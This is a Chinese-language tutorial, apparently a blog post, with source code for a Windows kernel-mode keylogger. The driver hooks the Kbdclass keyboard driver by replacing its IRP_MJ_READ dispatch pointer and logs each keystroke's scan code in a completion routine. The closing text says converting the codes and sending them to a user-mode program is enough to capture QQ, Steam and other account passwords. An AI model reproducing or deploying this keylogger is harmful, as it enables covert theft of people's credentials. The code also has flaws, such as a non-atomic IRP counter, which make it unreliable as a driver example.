【1】方式:替換Kbdclass驅動的ReadFile IRP函數處理指針
編寫.sys文件:
頭文件:
#pragma once //只編譯1次頭文件
#include <ntddk.h> //驅動函數頭文件,類似於Windows.h
#include <wdm.h> //WDK函數頭文件,一般編寫驅動程序時,與ntddk.h一起包含
#include <tchar.h> //UNICODE和ANSI字符串頭文件
#include <ntstrsafe.h> //安全字符串函數頭文件
#include <Ntddkbd.h> //掃描碼結構體需要包含的頭文件
#include <Wdmsec.h> //創建通信設備對象(不用管理員權限就能打開)
#pragma comment(lib,"ntstrsafe.lib") //安全字符串函數庫文件
//#define KBD_DRIVER_NAME L"\\Driver\\Kbdclass"
#define KBD_DRIVER_NAME L"\\Driver\\Kbdclass"
//調用延遲函數的延遲長度的宏
#define DELAY_ONE_MILLISECOND (-10 * 1000) //1毫秒
//可通過[驅動對象DRIVER_NAME名稱路徑]獲得[該驅動對象的DRIVER_OBJECT指針]
NTSTATUS
ObReferenceObjectByName(
PUNICODE_STRING ObjectName,
ULONG Attributes,
PACCESS_STATE AccessState,
ACCESS_MASK DesiredAccess,
POBJECT_TYPE ObjectType,
KPROCESSOR_MODE AccessMode,
PVOID ParseContext,
PVOID *Object
);
VOID DriverUnload(PDRIVER_OBJECT pDriverObj);
NTSTATUS OpenTagDevice(wchar_t* DriObj);
NTSTATUS Read(
PDEVICE_OBJECT pDevObj,
PIRP pIrp
);
//讀IRP請求處理函數
NTSTATUS c2pReadComplete
(
IN PDEVICE_OBJECT DeviceObject, //目標設備對象
IN PIRP Irp, //IRP指針
IN PVOID Context //該自定義參數爲:過濾設備對象
);
源文件:
#include "Dev.h"
extern POBJECT_TYPE* IoDriverObjectType; //用於調用ObReferenceObjectByName API時,獲取Kbdclass驅動對象指針,所帶入的[對象類型]
//由於是指針,所以帶入時,爲:*IoDriverObjectType;
PDRIVER_OBJECT gDriverObject = NULL; //本驅動程序的[驅動對象]
PDRIVER_OBJECT gTagDriverObj = NULL; //目標[驅動對象]
PDRIVER_DISPATCH YuanReadFunc = NULL; //原目標[驅動對象]的函數指針
ULONG gIrpCount = 0;
NTSTATUS DriverEntry
(
PDRIVER_OBJECT DriverObject, //本驅動程序的[驅動對象]
PUNICODE_STRING RegistryPath //此驅動在註冊表中的路徑.
)
{
KdPrint(("Aaron::DriverEntry\n"));
NTSTATUS status = STATUS_SUCCESS;
//保存本驅動程序的[驅動對象]到全局變量
gDriverObject = DriverObject;
//取目標驅動對象
status = OpenTagDevice(KBD_DRIVER_NAME);
if (!NT_SUCCESS(status))
return status;
//指針變量
volatile PVOID TagFunc = gTagDriverObj->MajorFunction + IRP_MJ_READ;
YuanReadFunc = InterlockedExchangePointer(TagFunc, Read);
//設置[驅動卸載]函數指針
DriverObject->DriverUnload = DriverUnload;
//返回最終狀態
return status;
}
NTSTATUS OpenTagDevice(wchar_t* DriObj)
{
NTSTATUS status;
UNICODE_STRING DriName;
RtlInitUnicodeString(&DriName, DriObj);
PDRIVER_OBJECT TagDri;
status = ObReferenceObjectByName(&DriName, OBJ_CASE_INSENSITIVE, NULL, 0, *IoDriverObjectType, KernelMode, NULL,&TagDri);
if (!NT_SUCCESS(status))
return status;
ObDereferenceObject(TagDri);
gTagDriverObj = TagDri;
return status;
}
//卸載函數
VOID DriverUnload(PDRIVER_OBJECT pDriverObj)
{//由於卸載時,一般有一個未完成的IRP請求,當這個IRP完成時,會執行c2pReadComplete完成例程,但完成例程不存在了
//導致藍屏,所以要等待這個IRP完成,然後卸載.
volatile PVOID TagFunc = gTagDriverObj->MajorFunction + IRP_MJ_READ;
InterlockedExchangePointer(TagFunc, YuanReadFunc);
//將32位擴展至64位變量中.
LARGE_INTEGER lDelay = RtlConvertLongToLargeInteger(10 * DELAY_ONE_MILLISECOND); //1毫秒 × 100 = 100毫秒,1000毫秒纔等於1秒
//得到不公開的線程結構體指針
PRKTHREAD CurrentThread = KeGetCurrentThread();
//把當前線程設置爲[低實時模式],以便讓它的運行儘量少影響其他程序 16 (0~31)
KeSetPriorityThread(CurrentThread, LOW_REALTIME_PRIORITY);
//等待IRP完成,就要用一個變量記錄是否無IRP數量了.
while (gIrpCount)
KeDelayExecutionThread(KernelMode, FALSE, &lDelay);
KdPrint(("Aaron::驅動程序卸載成功!\n"));
}
//ReadFile處理函數
NTSTATUS Read(
PDEVICE_OBJECT pDevObj,
PIRP pIrp
)
{
gIrpCount++;
PIO_STACK_LOCATION IrpSp = IoGetCurrentIrpStackLocation(pIrp);
//IrpSp->Context = 這個是自定義參數
IrpSp->Control = SL_INVOKE_ON_SUCCESS | SL_INVOKE_ON_ERROR | SL_INVOKE_ON_CANCEL;
IrpSp->CompletionRoutine = (PIO_COMPLETION_ROUTINE)c2pReadComplete;
return YuanReadFunc(pDevObj, pIrp);
}
//讀IRP完成例程
NTSTATUS c2pReadComplete
(
IN PDEVICE_OBJECT DeviceObject, //目標設備對象
IN PIRP Irp, //IRP指針
IN PVOID Context //該自定義參數爲:過濾設備對象
)
{
PIO_STACK_LOCATION IrpSp; //I/O堆棧指針
ULONG_PTR buf_len = 0;
PKEYBOARD_INPUT_DATA buf = NULL;
size_t i;
//獲取當前I/O堆棧指針
IrpSp = IoGetCurrentIrpStackLocation(Irp);
//如果IRP請求是成功的
if (NT_SUCCESS(Irp->IoStatus.Status))
{
//得到掃描碼緩衝區
buf = Irp->AssociatedIrp.SystemBuffer;
buf_len = Irp->IoStatus.Information;
ULONG_PTR aaKeyCount = buf_len / sizeof(KEYBOARD_INPUT_DATA);
for (ULONG_PTR i = 0; i < aaKeyCount; i++)
{
DbgPrint("鍵盤碼:%02x\n",buf->MakeCode);
buf++;
}
}
if (Irp->PendingReturned)
IoMarkIrpPending(Irp);
//IRP總數--
gIrpCount--;
return Irp->IoStatus.Status;
}
已經把掃描碼給讀出來的,自己轉化成ASCII碼,與應用層軟件通信即可.
QQ、Steam等等的密碼都可以獲取到.(網銀除外)
關於有個小問題:
這裏設置IRP請求的完成例程時,不是直接調用的IoSetCompletionRoutine,而是手動設置上去的完成例程.
原因是IoSetCompletionRoutine好像是幫設備棧的下一個設備對象的I/O堆棧指針中的完成例程,導致完成例程函數
不執行.
【效果】